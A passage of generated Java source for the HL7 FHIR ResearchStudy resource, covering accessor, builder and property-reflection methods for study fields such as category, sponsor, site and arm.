* @return {@link #category} (Codes categorizing the type of study such as investigational vs. observational, type of blinding, type of randomization, safety vs. efficacy, etc.)
*/
public List<CodeableConcept> getCategory() {
if (this.category == null)
this.category = new ArrayList<CodeableConcept>();
return this.category;
}
/**
* @return Returns a reference to <code>this</code> for easy method chaining
*/
public ResearchStudy setCategory(List<CodeableConcept> theCategory) {
this.category = theCategory;
return this;
}
public boolean hasCategory() {
if (this.category == null)
return false;
for (CodeableConcept item : this.category)
if (!item.isEmpty())
return true;
return false;
}
public CodeableConcept addCategory() { //3
CodeableConcept t = new CodeableConcept();
if (this.category == null)
this.category = new ArrayList<CodeableConcept>();
this.category.add(t);
return t;
}
public ResearchStudy addCategory(CodeableConcept t) { //3
if (t == null)
return this;
if (this.category == null)
this.category = new ArrayList<CodeableConcept>();
this.category.add(t);
return this;
}
/**
* @return The first repetition of repeating field {@link #category}, creating it if it does not already exist
*/
public CodeableConcept getCategoryFirstRep() {
if (getCategory().isEmpty()) {
addCategory();
}
return getCategory().get(0);
}
/**
* @return {@link #focus} (The condition(s), medication(s), food(s), therapy(ies), device(s) or other concerns or interventions that the study is seeking to gain more information about.)
*/
public List<CodeableConcept> getFocus() {
if (this.focus == null)
this.focus = new ArrayList<CodeableConcept>();
return this.focus;
}
/**
* @return Returns a reference to <code>this</code> for easy method chaining
*/
public ResearchStudy setFocus(List<CodeableConcept> theFocus) {
this.focus = theFocus;
return this;
}
public boolean hasFocus() {
if (this.focus == null)
return false;
for (CodeableConcept item : this.focus)
if (!item.isEmpty())
return true;
return false;
}
public CodeableConcept addFocus() { //3
CodeableConcept t = new CodeableConcept();
if (this.focus == null)
this.focus = new ArrayList<CodeableConcept>();
this.focus.add(t);
return t;
}
public ResearchStudy addFocus(CodeableConcept t) { //3
if (t == null)
return this;
if (this.focus == null)
this.focus = new ArrayList<CodeableConcept>();
this.focus.add(t);
return this;
}
/**
* @return The first repetition of repeating field {@link #focus}, creating it if it does not already exist
*/
public CodeableConcept getFocusFirstRep() {
if (getFocus().isEmpty()) {
addFocus();
}
return getFocus().get(0);
}
/**
* @return {@link #contact} (Contact details to assist a user in learning more about or engaging with the study.)
*/
public List<ContactDetail> getContact() {
if (this.contact == null)
this.contact = new ArrayList<ContactDetail>();
return this.contact;
}
/**
* @return Returns a reference to <code>this</code> for easy method chaining
*/
public ResearchStudy setContact(List<ContactDetail> theContact) {
this.contact = theContact;
return this;
}
public boolean hasContact() {
if (this.contact == null)
return false;
for (ContactDetail item : this.contact)
if (!item.isEmpty())
return true;
return false;
}
public ContactDetail addContact() { //3
ContactDetail t = new ContactDetail();
if (this.contact == null)
this.contact = new ArrayList<ContactDetail>();
this.contact.add(t);
return t;
}
public ResearchStudy addContact(ContactDetail t) { //3
if (t == null)
return this;
if (this.contact == null)
this.contact = new ArrayList<ContactDetail>();
this.contact.add(t);
return this;
}
/**
* @return The first repetition of repeating field {@link #contact}, creating it if it does not already exist
*/
public ContactDetail getContactFirstRep() {
if (getContact().isEmpty()) {
addContact();
}
return getContact().get(0);
}
/**
* @return {@link #relatedArtifact} (Citations, references and other related documents.)
*/
public List<RelatedArtifact> getRelatedArtifact() {
if (this.relatedArtifact == null)
this.relatedArtifact = new ArrayList<RelatedArtifact>();
return this.relatedArtifact;
}
/**
* @return Returns a reference to <code>this</code> for easy method chaining
*/
public ResearchStudy setRelatedArtifact(List<RelatedArtifact> theRelatedArtifact) {
this.relatedArtifact = theRelatedArtifact;
return this;
}
public boolean hasRelatedArtifact() {
if (this.relatedArtifact == null)
return false;
for (RelatedArtifact item : this.relatedArtifact)
if (!item.isEmpty())
return true;
return false;
}
public RelatedArtifact addRelatedArtifact() { //3
RelatedArtifact t = new RelatedArtifact();
if (this.relatedArtifact == null)
this.relatedArtifact = new ArrayList<RelatedArtifact>();
this.relatedArtifact.add(t);
return t;
}
public ResearchStudy addRelatedArtifact(RelatedArtifact t) { //3
if (t == null)
return this;
if (this.relatedArtifact == null)
this.relatedArtifact = new ArrayList<RelatedArtifact>();
this.relatedArtifact.add(t);
return this;
}
/**
* @return The first repetition of repeating field {@link #relatedArtifact}, creating it if it does not already exist
*/
public RelatedArtifact getRelatedArtifactFirstRep() {
if (getRelatedArtifact().isEmpty()) {
addRelatedArtifact();
}
return getRelatedArtifact().get(0);
}
/**
* @return {@link #keyword} (Key terms to aid in searching for or filtering the study.)
*/
public List<CodeableConcept> getKeyword() {
if (this.keyword == null)
this.keyword = new ArrayList<CodeableConcept>();
return this.keyword;
}
/**
* @return Returns a reference to <code>this</code> for easy method chaining
*/
public ResearchStudy setKeyword(List<CodeableConcept> theKeyword) {
this.keyword = theKeyword;
return this;
}
public boolean hasKeyword() {
if (this.keyword == null)
return false;
for (CodeableConcept item : this.keyword)
if (!item.isEmpty())
return true;
return false;
}
public CodeableConcept addKeyword() { //3
CodeableConcept t = new CodeableConcept();
if (this.keyword == null)
this.keyword = new ArrayList<CodeableConcept>();
this.keyword.add(t);
return t;
}
public ResearchStudy addKeyword(CodeableConcept t) { //3
if (t == null)
return this;
if (this.keyword == null)
this.keyword = new ArrayList<CodeableConcept>();
this.keyword.add(t);
return this;
}
/**
* @return The first repetition of repeating field {@link #keyword}, creating it if it does not already exist
*/
public CodeableConcept getKeywordFirstRep() {
if (getKeyword().isEmpty()) {
addKeyword();
}
return getKeyword().get(0);
}
/**
* @return {@link #jurisdiction} (Indicates a country, state or other region where the study is taking place.)
*/
public List<CodeableConcept> getJurisdiction() {
if (this.jurisdiction == null)
this.jurisdiction = new ArrayList<CodeableConcept>();
return this.jurisdiction;
}
/**
* @return Returns a reference to <code>this</code> for easy method chaining
*/
public ResearchStudy setJurisdiction(List<CodeableConcept> theJurisdiction) {
this.jurisdiction = theJurisdiction;
return this;
}
public boolean hasJurisdiction() {
if (this.jurisdiction == null)
return false;
for (CodeableConcept item : this.jurisdiction)
if (!item.isEmpty())
return true;
return false;
}
public CodeableConcept addJurisdiction() { //3
CodeableConcept t = new CodeableConcept();
if (this.jurisdiction == null)
this.jurisdiction = new ArrayList<CodeableConcept>();
this.jurisdiction.add(t);
return t;
}
public ResearchStudy addJurisdiction(CodeableConcept t) { //3
if (t == null)
return this;
if (this.jurisdiction == null)
this.jurisdiction = new ArrayList<CodeableConcept>();
this.jurisdiction.add(t);
return this;
}
/**
* @return The first repetition of repeating field {@link #jurisdiction}, creating it if it does not already exist
*/
public CodeableConcept getJurisdictionFirstRep() {
if (getJurisdiction().isEmpty()) {
addJurisdiction();
}
return getJurisdiction().get(0);
}
/**
* @return {@link #description} (A full description of how the study is being conducted.). This is the underlying object with id, value and extensions. The accessor "getDescription" gives direct access to the value
*/
public MarkdownType getDescriptionElement() {
if (this.description == null)
if (Configuration.errorOnAutoCreate())
throw new Error("Attempt to auto-create ResearchStudy.description");
else if (Configuration.doAutoCreate())
this.description = new MarkdownType(); // bb
return this.description;
}
public boolean hasDescriptionElement() {
return this.description != null && !this.description.isEmpty();
}
public boolean hasDescription() {
return this.description != null && !this.description.isEmpty();
}
/**
* @param value {@link #description} (A full description of how the study is being conducted.). This is the underlying object with id, value and extensions. The accessor "getDescription" gives direct access to the value
*/
public ResearchStudy setDescriptionElement(MarkdownType value) {
this.description = value;
return this;
}
/**
* @return A full description of how the study is being conducted.
*/
public String getDescription() {
return this.description == null ? null : this.description.getValue();
}
/**
* @param value A full description of how the study is being conducted.
*/
public ResearchStudy setDescription(String value) {
if (value == null)
this.description = null;
else {
if (this.description == null)
this.description = new MarkdownType();
this.description.setValue(value);
}
return this;
}
/**
* @return {@link #enrollment} (Reference to a Group that defines the criteria for and quantity of subjects participating in the study. E.g. " 200 female Europeans between the ages of 20 and 45 with early onset diabetes".)
*/
public List<Reference> getEnrollment() {
if (this.enrollment == null)
this.enrollment = new ArrayList<Reference>();
return this.enrollment;
}
/**
* @return Returns a reference to <code>this</code> for easy method chaining
*/
public ResearchStudy setEnrollment(List<Reference> theEnrollment) {
this.enrollment = theEnrollment;
return this;
}
public boolean hasEnrollment() {
if (this.enrollment == null)
return false;
for (Reference item : this.enrollment)
if (!item.isEmpty())
return true;
return false;
}
public Reference addEnrollment() { //3
Reference t = new Reference();
if (this.enrollment == null)
this.enrollment = new ArrayList<Reference>();
this.enrollment.add(t);
return t;
}
public ResearchStudy addEnrollment(Reference t) { //3
if (t == null)
return this;
if (this.enrollment == null)
this.enrollment = new ArrayList<Reference>();
this.enrollment.add(t);
return this;
}
/**
* @return The first repetition of repeating field {@link #enrollment}, creating it if it does not already exist
*/
public Reference getEnrollmentFirstRep() {
if (getEnrollment().isEmpty()) {
addEnrollment();
}
return getEnrollment().get(0);
}
/**
* @deprecated Use Reference#setResource(IBaseResource) instead
*/
@Deprecated
public List<Group> getEnrollmentTarget() {
if (this.enrollmentTarget == null)
this.enrollmentTarget = new ArrayList<Group>();
return this.enrollmentTarget;
}
/**
* @deprecated Use Reference#setResource(IBaseResource) instead
*/
@Deprecated
public Group addEnrollmentTarget() {
Group r = new Group();
if (this.enrollmentTarget == null)
this.enrollmentTarget = new ArrayList<Group>();
this.enrollmentTarget.add(r);
return r;
}
/**
* @return {@link #period} (Identifies the start date and the expected (or actual, depending on status) end date for the study.)
*/
public Period getPeriod() {
if (this.period == null)
if (Configuration.errorOnAutoCreate())
throw new Error("Attempt to auto-create ResearchStudy.period");
else if (Configuration.doAutoCreate())
this.period = new Period(); // cc
return this.period;
}
public boolean hasPeriod() {
return this.period != null && !this.period.isEmpty();
}
/**
* @param value {@link #period} (Identifies the start date and the expected (or actual, depending on status) end date for the study.)
*/
public ResearchStudy setPeriod(Period value) {
this.period = value;
return this;
}
/**
* @return {@link #sponsor} (The organization responsible for the execution of the study.)
*/
public Reference getSponsor() {
if (this.sponsor == null)
if (Configuration.errorOnAutoCreate())
throw new Error("Attempt to auto-create ResearchStudy.sponsor");
else if (Configuration.doAutoCreate())
this.sponsor = new Reference(); // cc
return this.sponsor;
}
public boolean hasSponsor() {
return this.sponsor != null && !this.sponsor.isEmpty();
}
/**
* @param value {@link #sponsor} (The organization responsible for the execution of the study.)
*/
public ResearchStudy setSponsor(Reference value) {
this.sponsor = value;
return this;
}
/**
* @return {@link #sponsor} The actual object that is the target of the reference. The reference library doesn't populate this, but you can use it to hold the resource if you resolve it. (The organization responsible for the execution of the study.)
*/
public Organization getSponsorTarget() {
if (this.sponsorTarget == null)
if (Configuration.errorOnAutoCreate())
throw new Error("Attempt to auto-create ResearchStudy.sponsor");
else if (Configuration.doAutoCreate())
this.sponsorTarget = new Organization(); // aa
return this.sponsorTarget;
}
/**
* @param value {@link #sponsor} The actual object that is the target of the reference. The reference library doesn't use these, but you can use it to hold the resource if you resolve it. (The organization responsible for the execution of the study.)
*/
public ResearchStudy setSponsorTarget(Organization value) {
this.sponsorTarget = value;
return this;
}
/**
* @return {@link #principalInvestigator} (Indicates the individual who has primary oversite of the execution of the study.)
*/
public Reference getPrincipalInvestigator() {
if (this.principalInvestigator == null)
if (Configuration.errorOnAutoCreate())
throw new Error("Attempt to auto-create ResearchStudy.principalInvestigator");
else if (Configuration.doAutoCreate())
this.principalInvestigator = new Reference(); // cc
return this.principalInvestigator;
}
public boolean hasPrincipalInvestigator() {
return this.principalInvestigator != null && !this.principalInvestigator.isEmpty();
}
/**
* @param value {@link #principalInvestigator} (Indicates the individual who has primary oversite of the execution of the study.)
*/
public ResearchStudy setPrincipalInvestigator(Reference value) {
this.principalInvestigator = value;
return this;
}
/**
* @return {@link #principalInvestigator} The actual object that is the target of the reference. The reference library doesn't populate this, but you can use it to hold the resource if you resolve it. (Indicates the individual who has primary oversite of the execution of the study.)
*/
public Practitioner getPrincipalInvestigatorTarget() {
if (this.principalInvestigatorTarget == null)
if (Configuration.errorOnAutoCreate())
throw new Error("Attempt to auto-create ResearchStudy.principalInvestigator");
else if (Configuration.doAutoCreate())
this.principalInvestigatorTarget = new Practitioner(); // aa
return this.principalInvestigatorTarget;
}
/**
* @param value {@link #principalInvestigator} The actual object that is the target of the reference. The reference library doesn't use these, but you can use it to hold the resource if you resolve it. (Indicates the individual who has primary oversite of the execution of the study.)
*/
public ResearchStudy setPrincipalInvestigatorTarget(Practitioner value) {
this.principalInvestigatorTarget = value;
return this;
}
/**
* @return {@link #site} (Clinic, hospital or other healthcare location that is participating in the study.)
*/
public List<Reference> getSite() {
if (this.site == null)
this.site = new ArrayList<Reference>();
return this.site;
}
/**
* @return Returns a reference to <code>this</code> for easy method chaining
*/
public ResearchStudy setSite(List<Reference> theSite) {
this.site = theSite;
return this;
}
public boolean hasSite() {
if (this.site == null)
return false;
for (Reference item : this.site)
if (!item.isEmpty())
return true;
return false;
}
public Reference addSite() { //3
Reference t = new Reference();
if (this.site == null)
this.site = new ArrayList<Reference>();
this.site.add(t);
return t;
}
public ResearchStudy addSite(Reference t) { //3
if (t == null)
return this;
if (this.site == null)
this.site = new ArrayList<Reference>();
this.site.add(t);
return this;
}
/**
* @return The first repetition of repeating field {@link #site}, creating it if it does not already exist
*/
public Reference getSiteFirstRep() {
if (getSite().isEmpty()) {
addSite();
}
return getSite().get(0);
}
/**
* @deprecated Use Reference#setResource(IBaseResource) instead
*/
@Deprecated
public List<Location> getSiteTarget() {
if (this.siteTarget == null)
this.siteTarget = new ArrayList<Location>();
return this.siteTarget;
}
/**
* @deprecated Use Reference#setResource(IBaseResource) instead
*/
@Deprecated
public Location addSiteTarget() {
Location r = new Location();
if (this.siteTarget == null)
this.siteTarget = new ArrayList<Location>();
this.siteTarget.add(r);
return r;
}
/**
* @return {@link #reasonStopped} (A description and/or code explaining the premature termination of the study.)
*/
public CodeableConcept getReasonStopped() {
if (this.reasonStopped == null)
if (Configuration.errorOnAutoCreate())
throw new Error("Attempt to auto-create ResearchStudy.reasonStopped");
else if (Configuration.doAutoCreate())
this.reasonStopped = new CodeableConcept(); // cc
return this.reasonStopped;
}
public boolean hasReasonStopped() {
return this.reasonStopped != null && !this.reasonStopped.isEmpty();
}
/**
* @param value {@link #reasonStopped} (A description and/or code explaining the premature termination of the study.)
*/
public ResearchStudy setReasonStopped(CodeableConcept value) {
this.reasonStopped = value;
return this;
}
/**
* @return {@link #note} (Comments made about the event by the performer, subject or other participants.)
*/
public List<Annotation> getNote() {
if (this.note == null)
this.note = new ArrayList<Annotation>();
return this.note;
}
/**
* @return Returns a reference to <code>this</code> for easy method chaining
*/
public ResearchStudy setNote(List<Annotation> theNote) {
this.note = theNote;
return this;
}
public boolean hasNote() {
if (this.note == null)
return false;
for (Annotation item : this.note)
if (!item.isEmpty())
return true;
return false;
}
public Annotation addNote() { //3
Annotation t = new Annotation();
if (this.note == null)
this.note = new ArrayList<Annotation>();
this.note.add(t);
return t;
}
public ResearchStudy addNote(Annotation t) { //3
if (t == null)
return this;
if (this.note == null)
this.note = new ArrayList<Annotation>();
this.note.add(t);
return this;
}
/**
* @return The first repetition of repeating field {@link #note}, creating it if it does not already exist
*/
public Annotation getNoteFirstRep() {
if (getNote().isEmpty()) {
addNote();
}
return getNote().get(0);
}
/**
* @return {@link #arm} (Describes an expected sequence of events for one of the participants of a study. E.g. Exposure to drug A, wash-out, exposure to drug B, wash-out, follow-up.)
*/
public List<ResearchStudyArmComponent> getArm() {
if (this.arm == null)
this.arm = new ArrayList<ResearchStudyArmComponent>();
return this.arm;
}
/**
* @return Returns a reference to <code>this</code> for easy method chaining
*/
public ResearchStudy setArm(List<ResearchStudyArmComponent> theArm) {
this.arm = theArm;
return this;
}
public boolean hasArm() {
if (this.arm == null)
return false;
for (ResearchStudyArmComponent item : this.arm)
if (!item.isEmpty())
return true;
return false;
}
public ResearchStudyArmComponent addArm() { //3
ResearchStudyArmComponent t = new ResearchStudyArmComponent();
if (this.arm == null)
this.arm = new ArrayList<ResearchStudyArmComponent>();
this.arm.add(t);
return t;
}
public ResearchStudy addArm(ResearchStudyArmComponent t) { //3
if (t == null)
return this;
if (this.arm == null)
this.arm = new ArrayList<ResearchStudyArmComponent>();
this.arm.add(t);
return this;
}
/**
* @return The first repetition of repeating field {@link #arm}, creating it if it does not already exist
*/
public ResearchStudyArmComponent getArmFirstRep() {
if (getArm().isEmpty()) {
addArm();
}
return getArm().get(0);
}
protected void listChildren(List<Property> children) {
super.listChildren(children);
children.add(new Property("identifier", "Identifier", "Identifiers assigned to this research study by the sponsor or other systems.", 0, java.lang.Integer.MAX_VALUE, identifier));
children.add(new Property("title", "string", "A short, descriptive user-friendly label for the study.", 0, 1, title));
children.add(new Property("protocol", "Reference(PlanDefinition)", "The set of steps expected to be performed as part of the execution of the study.", 0, java.lang.Integer.MAX_VALUE, protocol));
children.add(new Property("partOf", "Reference(ResearchStudy)", "A larger research study of which this particular study is a component or step.", 0, java.lang.Integer.MAX_VALUE, partOf));
children.add(new Property("status", "code", "The current state of the study.", 0, 1, status));
children.add(new Property("category", "CodeableConcept", "Codes categorizing the type of study such as investigational vs. observational, type of blinding, type of randomization, safety vs. efficacy, etc.", 0, java.lang.Integer.MAX_VALUE, category));
children.add(new Property("focus", "CodeableConcept", "The condition(s), medication(s), food(s), therapy(ies), device(s) or other concerns or interventions that the study is seeking to gain more information about.", 0, java.lang.Integer.MAX_VALUE, focus));
children.add(new Property("contact", "ContactDetail", "Contact details to assist a user in learning more about or engaging with the study.", 0, java.lang.Integer.MAX_VALUE, contact));
children.add(new Property("relatedArtifact", "RelatedArtifact", "Citations, references and other related documents.", 0, java.lang.Integer.MAX_VALUE, relatedArtifact));
children.add(new Property("keyword", "CodeableConcept", "Key terms to aid in searching for or filtering the study.", 0, java.lang.Integer.MAX_VALUE, keyword));
children.add(new Property("jurisdiction", "CodeableConcept", "Indicates a country, state or other region where the study is taking place.", 0, java.lang.Integer.MAX_VALUE, jurisdiction));
children.add(new Property("description", "markdown", "A full description of how the study is being conducted.", 0, 1, description));
children.add(new Property("enrollment", "Reference(Group)", "Reference to a Group that defines the criteria for and quantity of subjects participating in the study. E.g. \" 200 female Europeans between the ages of 20 and 45 with early onset diabetes\".", 0, java.lang.Integer.MAX_VALUE, enrollment));
children.add(new Property("period", "Period", "Identifies the start date and the expected (or actual, depending on status) end date for the study.", 0, 1, period));
children.add(new Property("sponsor", "Reference(Organization)", "The organization responsible for the execution of the study.", 0, 1, sponsor));
children.add(new Property("principalInvestigator", "Reference(Practitioner)", "Indicates the individual who has primary oversite of the execution of the study.", 0, 1, principalInvestigator));
children.add(new Property("site", "Reference(Location)", "Clinic, hospital or other healthcare location that is participating in the study.", 0, java.lang.Integer.MAX_VALUE, site));
children.add(new Property("reasonStopped", "CodeableConcept", "A description and/or code explaining the premature termination of the study.", 0, 1, reasonStopped));
children.add(new Property("note", "Annotation", "Comments made about the event by the performer, subject or other participants.", 0, java.lang.Integer.MAX_VALUE, note));
children.add(new Property("arm", "", "Describes an expected sequence of events for one of the participants of a study. E.g. Exposure to drug A, wash-out, exposure to drug B, wash-out, follow-up.", 0, java.lang.Integer.MAX_VALUE, arm));
}
@Override
public Property getNamedProperty(int _hash, String _name, boolean _checkValid) throws FHIRException {
switch (_hash) {
case -1618432855: /*identifier*/ return new Property("identifier", "Identifier", "Identifiers assigned to this research study by the sponsor or other systems.", 0, java.lang.Integer.MAX_VALUE, identifier);
case 110371416: /*title*/ return new Property("title", "string", "A short, descriptive user-friendly label for the study.", 0, 1, title);
case -989163880: /*protocol*/ return new Property("protocol", "Reference(PlanDefinition)", "The set of steps expected to be performed as part of the execution of the study.", 0, java.lang.Integer.MAX_VALUE, protocol);
case -995410646: /*partOf*/ return new Property("partOf", "Reference(ResearchStudy)", "A larger research study of which this particular study is a component or step.", 0, java.lang.Integer.MAX_VALUE, partOf);
case -892481550: /*status*/ return new Property("status", "code", "The current state of the study.", 0, 1, status);
case 50511102: /*category*/ return new Property("category", "CodeableConcept", "Codes categorizing the type of study such as investigational vs. observational, type of blinding, type of randomization, safety vs. efficacy, etc.", 0, java.lang.Integer.MAX_VALUE, category);
case 97604824: /*focus*/ return new Property("focus", "CodeableConcept", "The condition(s), medication(s), food(s), therapy(ies), device(s) or other concerns or interventions that the study is seeking to gain more information about.", 0, java.lang.Integer.MAX_VALUE, focus);
case 951526432: /*contact*/ return new Property("contact", "ContactDetail", "Contact details to assist a user in learning more about or engaging with the study.", 0, java.lang.Integer.MAX_VALUE, contact);
case 666807069: /*relatedArtifact*/ return new Property("relatedArtifact", "RelatedArtifact", "Citations, references and other related documents.", 0, java.lang.Integer.MAX_VALUE, relatedArtifact);
case -814408215: /*keyword*/ return new Property("keyword", "CodeableConcept", "Key terms to aid in searching for or filtering the study.", 0, java.lang.Integer.MAX_VALUE, keyword);
case -507075711: /*jurisdiction*/ return new Property("jurisdiction", "CodeableConcept", "Indicates a country, state or other region where the study is taking place.", 0, java.lang.Integer.MAX_VALUE, jurisdiction);
case -1724546052: /*description*/ return new Property("description", "markdown", "A full description of how the study is being conducted.", 0, 1, description);
case 116089604: /*enrollment*/ return new Property("enrollment", "Reference(Group)", "Reference to a Group that defines the criteria for and quantity of subjects participating in the study. E.g. \" 200 female Europeans between the ages of 20 and 45 with early onset diabetes\".", 0, java.lang.Integer.MAX_VALUE, enrollment);
case -991726143: /*period*/ return new Property("period", "Period", "Identifies the start date and the expected (or actual, depending on status) end date for the study.", 0, 1, period);
case -1998892262: /*sponsor*/ return new Property("sponsor", "Reference(Organization)", "The organization responsible for the execution of the study.", 0, 1, sponsor);
case 1437117175: /*principalInvestigator*/ return new Property("principalInvestigator", "Reference(Practitioner)", "Indicates the individual who has primary oversite of the execution of the study.", 0, 1, principalInvestigator);
case 3530567: /*site*/ return new Property("site", "Reference(Location)", "Clinic, hospital or other healthcare location that is participating in the study.", 0, java.lang.Integer.MAX_VALUE, site);
case 1181369065: /*reasonStopped*/ return new Property("reasonStopped", "CodeableConcept", "A description and/or code explaining the premature termination of the study.", 0, 1, reasonStopped);
case 3387378: /*note*/ return new Property("note", "Annotation", "Comments made about the event by the performer, subject or other participants.", 0, java.lang.Integer.MAX_VALUE, note);
case 96860: /*arm*/ return new Property("arm", "", "Describes an expected sequence of events for one of the participants of a study. E.g. Exposure to drug A, wash-out, exposure to drug B, wash-out, follow-up.", 0, java.lang.Integer.MAX_VALUE, arm);
default: return super.getNamedProperty(_hash, _name, _checkValid);
}
}
@Override
public Base[] getProperty(int hash, String name, boolean checkValid) throws FHIRException {
switch (hash) {
case -1618432855: /*identifier*/ return this.identifier == null ? new Base[0] : this.identifier.toArray(new Base[this.identifier.size()]); // Identifier
case 110371416: /*title*/ return this.title == null ? new Base[0] : new Base[] {this.title}; // StringType
case -989163880: /*protocol*/ return this.protocol == null ? new Base[0] : this.protocol.toArray(new Base[this.protocol.size()]); // Reference
case -995410646: /*partOf*/ return this.partOf == null ? new Base[0] : this.partOf.toArray(new Base[this.partOf.size()]); // Reference
case -892481550: /*status*/ return this.status == null ? new Base[0] : new Base[] {this.status}; // Enumeration<ResearchStudyStatus>
case 50511102: /*category*/ return this.category == null ? new Base[0] : this.category.toArray(new Base[this.category.size()]); // CodeableConcept
case 97604824: /*focus*/ return this.focus == null ? new Base[0] : this.focus.toArray(new Base[this.focus.size()]); // CodeableConcept
case 951526432: /*contact*/ return this.contact == null ? new Base[0] : this.contact.toArray(new Base[this.contact.size()]); // ContactDetail
case 666807069: /*relatedArtifact*/ return this.relatedArtifact == null ? new Base[0] : this.relatedArtifact.toArray(new Base[this.relatedArtifact.size()]); // RelatedArtifact
case -814408215: /*keyword*/ return this.keyword == null ? new Base[0] : this.keyword.toArray(new Base[this.keyword.size()]); // CodeableConcept
case -507075711: /*jurisdiction*/ return this.jurisdiction == null ? new Base[0] : this.jurisdiction.toArray(new Base[this.jurisdiction.size()]); // CodeableConcept
case -1724546052: /*description*/ return this.description == null ? new Base[0] : new Base[] {this.description}; // MarkdownType
case 116089604: /*enrollment*/ return this.enrollment == null ? new Base[0] : this.enrollment.toArray(new Base[this.enrollment.size()]); // Reference
case -991726143: /*period*/ return this.period == null ? new Base[0] : new Base[] {this.period}; // Period
case -1998892262: /*sponsor*/ return this.sponsor == null ? new Base[0] : new Base[] {this.sponsor}; // Reference
case 1437117175: /*principalInvestigator*/ return this.principalInvestigator == null ? new Base[0] : new Base[] {this.principalInvestigator}; // Reference
case 3530567: /*site*/ return this.site == null ? new Base[0] : this.site.toArray(new Base[this.site.size()]); // Reference
case 1181369065: /*reasonStopped*/ return this.reasonStopped == null ? new Base[0] : new Base[] {this.reasonStopped}; // CodeableConcept
case 3387378: /*note*/ return this.note == null ? new Base[0] : this.note.toArray(new Base[this.note.size()]); // Annotation
case 96860: /*arm*/ return this.arm == null ? new Base[0] : this.arm.toArray(new Base[this.arm.size()]); // ResearchStudyArmComponent
default: return super.getProperty(hash, name, checkValid);
}
}
@Override
public Base setProperty(int hash, String name, Base value) throws FHIRException {
switch (hash) {
case -1618432855: // identifier
this.getIdentifier().add(castToIdentifier(value)); // Identifier
return value;
case 110371416: // title
this.title = castToString(value); // StringType
return value;
case -989163880: // protocol
this.getProtocol().add(castToReference(value)); // Reference
return value;
case -995410646: // partOf
this.getPartOf().add(castToReference(value)); // Reference
return value;
case -892481550: // status
value = new ResearchStudyStatusEnumFactory().fromType(castToCode(value));
this.status = (Enumeration) value; // Enumeration<ResearchStudyStatus>
return value;
case 50511102: // category
this.getCategory().add(castToCodeableConcept(value)); // CodeableConcept
return value;
case 97604824: // focus
this.getFocus().add(castToCodeableConcept(value)); // CodeableConcept
return value;
case 951526432: // contact
this.getContact().add(castToContactDetail(value)); // ContactDetail
return value;
case 666807069: // relatedArtifact
this.getRelatedArtifact().add(castToRelatedArtifact(value)); // RelatedArtifact
return value;
case -814408215: // keyword
this.getKeyword().add(castToCodeableConcept(value)); // CodeableConcept
return value;
case -507075711: // jurisdiction
this.getJurisdiction().add(castToCodeableConcept(value)); // CodeableConcept
return value;
case -1724546052: // description
this.description = castToMarkdown(value); // MarkdownType
return value;
case 116089604: // enrollment
this.getEnrollment().add(castToReference(value)); // Reference
return value;
case -991726143: // period
this.period = castToPeriod(value); // Period
return value;
case -1998892262: // sponsor
this.sponsor = castToReference(value); // Reference
return value;
case 1437117175: // principalInvestigator
this.principalInvestigator = castToReference(value); // Reference
return value;
case 3530567: // site
this.getSite().add(castToReference(value)); // Reference
return value;
case 1181369065: // reasonStopped
this.reasonStopped = castToCodeableConcept(value); // CodeableConcept
return value;
case 3387378: // note
this.getNote().add(castToAnnotation(value)); // Annotation
return value;
case 96860: // arm
this.getArm().add((ResearchStudyArmComponent) value); // ResearchStudyArmComponent
return value;
default: return super.setProperty(hash, name, value);
}
}
@Override
public Base setProperty(String name, Base value) throws FHIRException {
if (name.equals("identifier")) {
this.getIdentifier().add(castToIdentifier(value));
} else if (name.equals("title")) {
this.title = castToString(value); // StringType
} else if (name.equals("protocol")) {
this.getProtocol().add(castToReference(value));
} else if (name.equals("partOf")) {
this.getPartOf().add(castToReference(value));
} else if (name.equals("status")) {
value = new ResearchStudyStatusEnumFactory().fromType(castToCode(value));
this.status = (Enumeration) value; // Enumeration<ResearchStudyStatus>
} else if (name.equals("category")) {
this.getCategory().add(castToCodeableConcept(value));
} else if (name.equals("focus")) {
this.getFocus().add(castToCodeableConcept(value));
} else if (name.equals("contact")) {
this.getContact().add(castToContactDetail(value));
} else if (name.equals("relatedArtifact")) {
this.getRelatedArtifact().add(castToRelatedArtifact(value));
} else if (name.equals("keyword")) {
this.getKeyword().add(castToCodeableConcept(value));
} else if (name.equals("jurisdiction")) {
this.getJurisdiction().add(castToCodeableConcept(value));
} else if (name.equals("description")) {
this.description = castToMarkdown(value); // MarkdownType
} else if (name.equals("enrollment")) {
this.getEnrollment().add(castToReference(value));
} else if (name.equals("period")) {
this.period = castToPeriod(value); // Period
} else if (name.equals("sponsor")) {
this.sponsor = castToReference(value); // Reference
} else if (name.equals("principalInvestigator")) {
this.principalInvestigator = castToReference(value); // Reference
} else if (name.equals("site")) {
this.getSite().add(castToReference(value));
} else if (name.equals("reasonStopped")) {
this.reasonStopped = castToCodeableConcept(value); // CodeableConcept
} else if (name.equals("note")) {
this.getNote().add(castToAnnotation(value));
} else if (name.equals("arm")) {
this.getArm().add((ResearchStudyArmComponent) value);
} else
return super.setProperty(name, value);
return value;
}
@Override
public Base makeProperty(int hash, String name) throws FHIRException {
switch (hash) {
case -1618432855: return addIdentifier();
case 110371416: return getTitleElement();
case -989163880: return addProtocol();
case -995410646: return addPartOf();
case -892481550: return getStatusElement();
case 50511102: return addCategory();
case 97604824: return addFocus();
case 951526432: return addContact();
case 666807069: return addRelatedArtifact();
case -814408215: return addKeyword();
case -507075711: return addJurisdiction();
case -1724546052: return getDescriptionElement();
case 116089604: return addEnrollment();
case -991726143: return getPeriod();
case -1998892262: return getSponsor();
case 1437117175: return getPrincipalInvestigator();
case 3530567: return addSite();
case 1181369065: return getReasonStopped();
case 3387378: return addNote();
case 96860: return addArm();
default: return super.makeProperty(hash, name);
}
}
@Override
public String[] getTypesForProperty(int hash, String name) throws FHIRException {
switch (hash) {
case -1618432855: /*identifier*/ return new String[] {"Identifier"};
case 110371416: /*title*/ return new String[] {"string"};
case -989163880: /*protocol*/ return new String[] {"Reference"};
case -995410646: /*partOf*/ return new String[] {"Reference"};
case -892481550: /*status*/ return new String[] {"code"};
case 50511102: /*category*/ return new String[] {"CodeableConcept"};
case 97604824: /*focus*/ return new String[] {"CodeableConcept"};
case 951526432: /*contact*/ return new String[] {"ContactDetail"};
case 666807069: /*relatedArtifact*/ return new String[] {"RelatedArtifact"};
case -814408215: /*keyword*/ return new String[] {"CodeableConcept"};
case -507075711: /*jurisdiction*/ return new String[] {"CodeableConcept"};
case -1724546052: /*description*/ return new String[] {"markdown"};
case 116089604: /*enrollment*/ return new String[] {"Reference"};
